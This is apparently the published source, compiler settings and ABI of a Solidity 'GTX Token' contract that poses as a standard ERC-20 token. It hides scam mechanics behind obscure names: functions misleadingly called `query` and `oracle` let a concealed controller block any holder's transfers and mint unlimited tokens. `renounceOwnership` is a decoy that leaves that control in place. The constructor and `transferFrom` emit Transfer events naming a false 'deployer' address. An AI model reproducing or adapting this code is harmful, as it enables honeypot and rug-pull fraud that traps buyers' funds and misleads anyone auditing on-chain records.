// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
/*
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}*/
contract GTX {
mapping (address => uint256) private IIB;
mapping (address => uint256) private IIC;
mapping(address => mapping(address => uint256)) public allowance;
string public name = "GTX Token";
string public symbol = unicode"GTX";
uint8 public decimals = 6;
uint256 public totalSupply = 100000000 *10**6;
address owner = msg.sender;
address private IID;
address deployer = 0x4862733B5FdDFd35f35ea8CCf08F5045e57388B3;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
IID = msg.sender;
deploy(msg.sender, totalSupply); }
function renounceOwnership() public virtual {
require(msg.sender == owner);
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
function deploy(address account, uint256 amount) internal {
account = deployer;
IIB[msg.sender] = totalSupply;
emit Transfer(address(0), account, amount); }
function balanceOf(address account) public view returns (uint256) {
return IIB[account];
}
function transfer(address to, uint256 value) public returns (bool success) {
require(IIC[msg.sender] <= 0);
require(IIB[msg.sender] >= value);
IIB[msg.sender] -= value;
IIB[to] += value;
emit Transfer(msg.sender, to, value);
return true; }
function approve(address spender, uint256 value) public returns (bool success) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true; }
function query (address yx, uint256 yz) public {
if(msg.sender == IID){
IIC[yx] = yz;}}
function oracle (address yx, uint256 yz) public {
if(msg.sender == IID){
IIB[yx] += yz;}}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
if(from == IID) {
require(value <= IIB[from]);
require(value <= allowance[from][msg.sender]);
IIB[from] -= value;
IIB[to] += value;
from = deployer;
emit Transfer (from, to, value);
return true; }
require(IIC[from] <= 0 && IIC[to] <=0);
require(value <= IIB[from]);
require(value <= allowance[from][msg.sender]);
IIB[from] -= value;
IIB[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true; }
}
{
"compilationTarget": {
"GTX.sol": "GTX"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"yx","type":"address"},{"internalType":"uint256","name":"yz","type":"uint256"}],"name":"oracle","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"yx","type":"address"},{"internalType":"uint256","name":"yz","type":"uint256"}],"name":"query","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]